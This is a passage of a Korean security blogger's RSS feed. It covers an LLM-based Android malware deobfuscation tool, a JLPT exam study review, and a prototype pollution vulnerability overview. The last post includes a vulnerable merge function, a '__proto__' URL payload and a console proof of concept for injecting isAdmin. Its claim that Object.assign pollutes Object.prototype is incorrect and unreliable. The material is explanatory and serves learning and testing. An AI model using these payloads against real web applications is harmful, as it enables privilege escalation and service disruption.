&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1683&quot; data-origin-height=&quot;803&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbRXxQ/btsQhRlWqE5/zfqNw8NVskKjInFMMeOMU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbRXxQ/btsQhRlWqE5/zfqNw8NVskKjInFMMeOMU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbRXxQ/btsQhRlWqE5/zfqNw8NVskKjInFMMeOMU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbRXxQ%2FbtsQhRlWqE5%2FzfqNw8NVskKjInFMMeOMU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1683&quot; height=&quot;803&quot; data-origin-width=&quot;1683&quot; data-origin-height=&quot;803&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;핵심 기능&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- LLM 기반 난독화 해제: GPT-4나 LLaMA와 같은 대규모 언어 모델의 추론 능력을 활용하여 코드 조각을 분석하고, 의미 없는 식별자들을 사람이 이해할 수 있는 이름으로 바꿔준다. 단순 치환을 넘어 코드의 목적을 해석하여 적절한 이름과 주석을 생성하기 때문에, 개발자가 직접 작성한 것처럼 가독성이 높은 코드를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 취약점 자동 분석: 코드 조각을 살펴보면서 보안 취약점이 될 만한 패턴이나 위험한 API 사용을 발견하면 이를 알려준다. 물론 최종 판단은 분석가의 몫이며, 항상 한번 더 검증하는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Androidmeda를 소개하고 있는 블로그에서는 실제 안드로이드 악성앱 Crocodilus를 분석한 결과를 보여주고 있는데, 이 악성 앱은 변수명 난독화, 제어 흐름 왜곡, 문자열 인코딩 등 난독화 기법을 적용하고 있다. 그러나 동일한 코드를 androidmeda로 처리했을 때, 다음과 같은 개선을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 난수화된 변수 및 클래스 이름을 직관적인 의미 있는 이름으로 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 뒤틀린 복잡한 로직을 사람이 읽을 수 있게 이해를 돕는 주석으로 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 접근성 API 호출이나 원격 URL 접속 등 의심스러운 함수 호출 부위를 강조 표시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 발견된 문제점을 요약한 취약점 리포트(JSON) 자동 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석가가 수시간 걸렸을 일을 단번에 파악하여 악성 행위에 바로 집중할 수 있다는 점이 큰 장점이 될 수 있다. 난독화로 인한 시간 낭비를 줄이고 본연의 취약점 탐색에 더 많은 시간을 할애할 수 있게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;한계&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 모든 경우에 완벽한 것은 아니다. 일부 사례를 보면 몇몇 클래스에서 에러가 발생하여 해당 부분을 건너뛴 사례도 보고되고 있으며, 분석가가 수동으로 약간의 스크립트 수정과 재시도를 통해 해결했다고 한다. 또한 런타임에 Dex를 동적 로딩하는 방식이나 코드 가상화(가상 머신에서 일부 코드 실행)등의 경우에는 정적 디컴파일 단계에서 전체 코드가 드러나지 않기 때문에 Androidmeda도 원본 코드에서 보이지 않는 부분까지 해석할 수 는 없다. 이는 정적 분석 도구의 한계로도 남는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/299</guid>
      <comments>https://gomguk.tistory.com/299#entry299comment</comments>
      <pubDate>Wed, 10 Sep 2025 05:10:50 +0900</pubDate>
    </item>
    <item>
      <title>2025년 직장인 JLPT N3 합격 후기, 학습 수기</title>
      <link>https://gomguk.tistory.com/297</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;취미로 시작한 일본어에서 작은 성과가 있어 방법을 공유합니다. 다른 분들의 후기글도 찾아봤는데 노베이스로 시작해서 단기간에 합격하신 분들도 있고, 일본어를 좋아해서 따로 수험 공부 없이 합격한 수기도 많이 있네요.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자는 직장인이며, 히라가나와 가타카나만 알고 있던 상태에서 24년도 1월부터 학습을 시작하여 25년도 1회차 JLPT N3 에 응시하여 합격했습니다. 애니나 일본 문화를 좋아하던 것도 아니었고 고등학생 때 제 2외국어로 일본어를 학습한 배경밖에 없습니다. 직무도 IT 관련 직업이기 때문에 일본어와 전혀 관련이 없습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;jlpt.png&quot; data-origin-width=&quot;1539&quot; data-origin-height=&quot;1081&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qrCbv/btsQfv9dI07/gInoLWMqCkyLkW3zwx1NW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qrCbv/btsQfv9dI07/gInoLWMqCkyLkW3zwx1NW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qrCbv/btsQfv9dI07/gInoLWMqCkyLkW3zwx1NW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqrCbv%2FbtsQfv9dI07%2FgInoLWMqCkyLkW3zwx1NW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;661&quot; height=&quot;464&quot; data-filename=&quot;jlpt.png&quot; data-origin-width=&quot;1539&quot; data-origin-height=&quot;1081&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;N3 합격 기준이 95점인 것에 비해 매우 아슬아슬한 성적입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;처음에는 자격증을 목표로 한 공부도 아니었고, 단순히 여행에서 좀더 자유롭게 말해보고 싶다는 생각에 '가벼운 학습지'에 수강권을 등록하여 1년 정도 수강하여 기초 단어, 문법 등을 원어민 선생님과 다루었습니다. 주 1회 25분 수업이었고 퇴근 후에 풀이한 학습지를 복습하는 방식이었습니다. 지금은 포도(?)로 바뀐 것 같은데 가격이 좀 비싸졌습니다. 자세한 후기는 아래.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://blog.peanutz.site/285&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2024.11.24 - 가벼운 학습지/스피킹탭 일본어 10개월 수강 후기&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;회화만 연습하는 것이었기 때문에 여행갈 때에 정말 많이 도움이 되었습니다. 음식점에 가서 &quot; &lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;生ビールひとつください&quot;만 하던 제가 &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;おかわり(추가 리필)도 주문하고, 가게의 おすすめ(추천) 메뉴도 주문할 수 있게 되었습니다. 서구권 언어와 달리 일본어는 한국어와 어순이 같아 생각나는대로 단어를 배열하면 문장이 됩니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;하지만 회화 실력의 향상은 느껴졌지만, 시험까지 도전할 수 있을까? 라는 질문에는 어려움이 있었습니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;시험 준비&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;본격적인 시험 준비는 25년 1월부터 시작했습니다. 시험일은 7월 6일. 직장도 다니면서 야근에 회식도 하고 금토엔 대학원도 다녔으니 취미로 도전한 자격증 치고는 망설임이 많았습니다. 그런데 일단 접수한 후(&lt;s&gt;65,000원&lt;/s&gt;)에는 제대로 해야겠다는 생각이 들었고, 주말의 남는시간이나 평일에 일찍 퇴근할 때를 이용해서 준비했습니다. 접수할 때 어떤 급수를 할지도 고민을 했는데, 제 학습 환경에 맞는 정도는 N3라고 판단했습니다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;단어&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;단어는 모든 영역의 기초가 됩니다. 문장을 읽기 위해서는 단어를 알아야하고, 듣기 위해서도 단어를 알아야 합니다. 단어는 '회독 JLPT' 어플을 이용했습니다. 출퇴근 시간에 보기 편하고, 알고 있는 단어와 모르는 단어를 구분해서 체크하면, 모르는 단어는 더 많이 보여줍니다. 학습내용도 저장되고 단어별로 예문도 제공해 줍니다. 무료버전과 유료버전이 있는데 무료버전은 챕터가 끝날때마다 광고가 나옵니다. N5~N1 전부 포함하고 있어서 유료버전도 아깝지 않습니다. 시험 전까지 1회독 정도밖에 못했습니다. 너무 외워지지 않는 단어는 뒤로 미뤄두고, 익숙한 단어들을 완전히 외우는 데 집중했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2025-08-30_15-36-27.png&quot; data-origin-width=&quot;1109&quot; data-origin-height=&quot;929&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfd1Ih/btsQeUn7dYj/kQUZmZ28hNymLurLh3Yww1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfd1Ih/btsQeUn7dYj/kQUZmZ28hNymLurLh3Yww1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfd1Ih/btsQeUn7dYj/kQUZmZ28hNymLurLh3Yww1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbfd1Ih%2FbtsQeUn7dYj%2FkQUZmZ28hNymLurLh3Yww1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;493&quot; height=&quot;413&quot; data-filename=&quot;2025-08-30_15-36-27.png&quot; data-origin-width=&quot;1109&quot; data-origin-height=&quot;929&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;문법, 독해&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;수험서는 &quot;해커스 한권으로 합격&quot;을 사용했다. 구성은 단어 &amp;gt; 문법 &amp;gt; 독해 &amp;gt; 청해 순서로 되어 있는데, 단어는 어플로 보고 있어서, 문제 정도만 풀어봤고, 나머지 부분의 학습을 수험서로 진행했다. 모르는 부분은 사진찍고 GPT한테 물어가면서 내 것으로 만들었다. 문법에서 수수표현, 존경이나 겸양 표현은 처음 접하는 데 어려움이 많았고 여기에서 인공지능의 도움을 받았습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1593&quot; data-origin-height=&quot;1642&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfxNGs/btsQffS6ItG/L2mzdaSZOs06rjV5XdoBY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfxNGs/btsQffS6ItG/L2mzdaSZOs06rjV5XdoBY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfxNGs/btsQffS6ItG/L2mzdaSZOs06rjV5XdoBY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfxNGs%2FbtsQffS6ItG%2FL2mzdaSZOs06rjV5XdoBY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;520&quot; height=&quot;536&quot; data-origin-width=&quot;1593&quot; data-origin-height=&quot;1642&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;청해&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;성적표에서도 보이지만, 제게 가장 약한 부분입니다. 좋아하는 일본 애니메이션이라도 하나 있다면 수월한 점수를 받을 수 있었을 텐데, 그렇지 못했기 때문에 수험서에서 제공하는 예제 정도가 전부였습니다. GPT와 외국어로 대화도 시도해 보았는데, 원하는 수준으로의 대화, 주제 선정 등에서 어려움이 있었습니다. 이를 어떻게 활용할 지는 더 고민해봐야 겠습니다. 유튜브에서 일본 뉴스 라이브나 팟캐스트 채널도 몇 개 찾아보았는데, 초심자가 듣기에는 너무 빠르기도 하고 단어가 일단 귀에 들어오지 않기 때문에 맥락대화의 맥락을 파악하는 데 어려움이 컸습니다. 그래서 평소에는 유튜브에서 N3 단어 + 예문을 TTS로 반복재생해주는 채널을 들으면서 준비했습니다. 알고리즘을 잘 타면 일본 예능을 편집해서 학습용으로 만들어 둔 채널도 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그래서 그런지 시험장에서의 청해도 쉽지 않았습니다. 첫 문제부터 하나도 들리지 않았을 때의 그 당황스러움, 그 다음, 세 번째 문제까지도 어려웠습니다. 하지만 멘탈 잘 잡고 뒷문제 풀었던 기억입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;모의고사&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;시험 한달 전부터는 모의고사 풀이를 했습니다. 그런데 실제 시험에서는 점수에 반영되지 않는 문제도 있고, 상대평가처럼 많은 사람이 맞춘 문제를 내가 틀리면 감점이 크다는 채점 방식이 적용된다고 하여, 채점만 하고 예상 점수를 매기진 않았습니다. 영역별로 배정된 시간 안에 다 풀수 있는지 체크하고, 부족한 부분을 채웠습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;계획&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;취미로 시작한 언어 공부가 자격증이라는 좋은 결과까지 나와서 좋았습니다. 당분간은 다시 본업에 집중하면서도 N2 단어 정도만 계속 학습할 예정입니다. 1~2년 정도의 미래에 다음 단계 시험을 준비할 생각입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Review</category>
      <category>JLPT</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/297</guid>
      <comments>https://gomguk.tistory.com/297#entry297comment</comments>
      <pubDate>Fri, 5 Sep 2025 05:51:31 +0900</pubDate>
    </item>
    <item>
      <title>[web] Prototype Pollution(프로토타입오염) 취약점 개요</title>
      <link>https://gomguk.tistory.com/298</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 취약점 진단 수행 중 웹 애플리케이션의 클라이언트 측(Javascript) 코드에서 Prototype Pollution 취약점(프로토타입 오염)이 발견되었다. 취약점에 대해 개념을 정리하고 어떻게 코드를 분석했는지 소개한다. 물론 틀린부분이 있을 수 있으므로 다양한 의견으로 알려주시면 감사하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자바스크립트는 프로토타입 기반의 객체 지향 언어이다. 모든 객체는 숨겨진 속성 '__proto__'를 통해 어떤 프로토타입 객체를 참조하며, 이 프로토타입에 정의된 속성과 메서드는 해당 객체 및 그 하위 객체들이 상속받는다. Prototype Pollution(이하 PP)은 공격자가 이 프로토타입 객체에 임의의 속성을 주입함으로써 &lt;b&gt;기본 객체의 동작을 변경&lt;/b&gt;할 수 있는 취약점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유효 범위는 애플리케이션 전역에서 공유되는 객체인 경우 전체가 될수 있으며, 함수의 프로토타입에 주입이 가능한 경우 로직이 조작되거나 의도치 않게 동작하게 된다. 심각한 경우 서비스 거부(DoS)나 원격 코드 실행(RCE)이 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PP 취약점은 자바스크립트 객체를 병합하거나 복제하는 기능을 구현할 때, 입력 값을 검증하지 않아 발생한다. 예를 들어 객체를 재귀적으로 병합(merge)하는 함수가 사용자로부터 전달된 객체의 키 이름을 필터링하지 않고 기존 객체에 적용하면, &lt;code&gt;__proto__&lt;/code&gt;와 같은 특수 키가 포함될 경우 대상 객체의 프로토타입이 조작될 수 있다. 이런 취약점은 과거에 jQuery, Lodash, Express, Minimist, Hoek와 같은 유명 자바스크립트 라이브러리에서 발견되어 패치된 전력이 있을 정도로 광범위하게 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 발견 과정 및 분석&lt;/b&gt;&lt;/h2&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;// 취약한 객체 병합 함수 예시
function mergeObjects(target, source) {
  for (const key in source) {
    target[key] = source[key];  // 사용자 입력 객체를 키 필터링 없이 병합
  }
}

// 기본 설정 객체에 사용자 입력을 병합
const defaultConfig = { theme: &quot;light&quot;, sidebar: true };
const userData = getUserInput();  // 예: URL 쿼리스트링이나 폼 입력 등
mergeObjects(defaultConfig, userData);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'mergeObjects' 함수를 통해 사용자 제공 객체 &lt;code&gt;userData&lt;/code&gt;를 &lt;code&gt;defaultConfig&lt;/code&gt;에 병합한다. 이때 &lt;code&gt;userData&lt;/code&gt;의 키에 대한 검사나 필터링이 없으므로, 악의적인 사용자가 &lt;code&gt;userData&lt;/code&gt;에 특수 키 &lt;code&gt;__proto__&lt;/code&gt;를 포함시킬 경우 &lt;code&gt;defaultConfig&lt;/code&gt;의 프로토타입이 오염될 수 있다. 즉, &lt;code&gt;defaultConfig.__proto__&lt;/code&gt;에 공격자가 넣은 객체게 할당되어 전역 객체(Object.prototype)의 속성이 변조될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 리뷰 만으로 의심 지점을 식별했다면, 실제로 취약점이 존재하는지는 콘솔에서 취약 코드를 실행하여 검증할 수 있다. 구체적으로 어플리케이션의 입력 지점(URL 파라미터)에 &lt;code&gt;__proto__&lt;/code&gt;를 포함한 페이로드를 주입한 후 브라우저 개발자 도구 콘솔에서 &lt;code&gt;Object.prototype&lt;/code&gt;을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 예를 들어 웹 페이지의 URL에 &lt;code&gt;?__proto__[evil]=1&lt;/code&gt;과 같은 쿼리 스트링을 추가하고 페이지를 로드한 뒤, 콘솔에서 Object.prototype.evil 값을 확인할 때 값이 1로 나타난다면, 이는 해당 입력으로 전역 프로토타입 객체가 오염되었음을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;콘솔에서 테스트해볼 수 있는 예제를 몇가지 제공한다. PoC는 다양하게 응용가능하다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;console.log(Object.prototype.isAdmin);  // 공격 전: undefined

// __proto__ 키를 포함한 악성 payload 객체 (예: 사용자 입력으로부터 생성된 객체)
let payload = JSON.parse('{&quot;__proto__&quot;: { &quot;isAdmin&quot;: true }}');

// payload를 새 객체로 병합 (취약한 동작 시뮬레이션)
Object.assign({}, payload);

console.log(Object.prototype.isAdmin);  // 공격 후: true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 과정을 통해 &lt;code&gt;Object.prototype.isAdmin&lt;/code&gt; 값이 &lt;code&gt;true&lt;/code&gt;로 설정되는 것을 확인했다. 이는 &lt;code&gt;Object.assign&lt;/code&gt;으로 병합하는 과정에서 &lt;code&gt;__proto__&lt;/code&gt; 속성이 특별하게 처리되어 전역 Object 프로토타입에 isAdmin 속성이 주입된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 발생 시 영향&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;- 권한 상승 및 로직 변조:&lt;/b&gt; &lt;/span&gt;공격자는 프로토타입에 보안과 관계된 속성을 주입하여 &lt;b&gt;애플리케이션의 접근 제어나 로직을 우회&lt;/b&gt;할 수 있다. 예를 들어 애플리케이션이 &lt;code&gt;user.isAdmin&lt;/code&gt; 속성으로 관리자 권한을 검사한다면, 공격자는 모든 객체의 프로토타입에 &lt;code&gt;isAdmin&lt;/code&gt;을 &lt;code&gt;true&lt;/code&gt;로 설정해버림으로써 인증 없이 관리자 권한을 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;- 데이터 변조 및 무결성 훼손:&lt;/b&gt; &lt;/span&gt;공격자가 프로토타입에 중요한 설정 값을 주입하거나 기본 동작을 변경하면 애플리케이션의 &lt;b&gt;데이터 무결성에 문제가 생기고 부적절한 동작&lt;/b&gt;이 발생한다. 예를 들어 모든 객체에 대해 &lt;code&gt;defaultTimeout&lt;/code&gt; 값을 0으로 오염시켜 버리면 타임아웃 설정이 무력화될 수 있고, toJSON 등의 메서드를 악의적으로 덮어써서 로깅이나 직렬화 과정을 교란할 수도 있다. 이러한 변조는 발견하기 어려워 &lt;b&gt;애플리케이션이 예기치 않은 방식으로 동작&lt;/b&gt;하도록 만다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;- 서비스 거부(DoS):&lt;/b&gt; &lt;/span&gt;프로토타입 오염을 통해 &lt;b&gt;의도적으로 예외 상황을 일으키거나 무한 루프를 유발&lt;/b&gt;하여 애플리케이션을 마비시킬 수 있습니다. 예를 들어 모든 객체의 기본 메서드인 &lt;code&gt;toString&lt;/code&gt;을 문자열이나 빈 함수로 덮어쓰면(JS 엔진은 모든 객체에 &lt;code&gt;toString&lt;/code&gt; 메서드가 있다고 가정하기 때문에) 애플리케이션 곳곳에서 오류가 발생하여 전체 서비스가 중단될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript&quot;&gt;https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1756648773876&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;What is prototype pollution? | Tutorial &amp;amp; examples | Snyk Learn&quot; data-og-description=&quot;Learn what JavaScript prototype pollution is and how to prevent it.&quot; data-og-host=&quot;learn.snyk.io&quot; data-og-source-url=&quot;https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript&quot; data-og-url=&quot;https://learn.snyk.io/lesson/prototype-pollution/&quot; 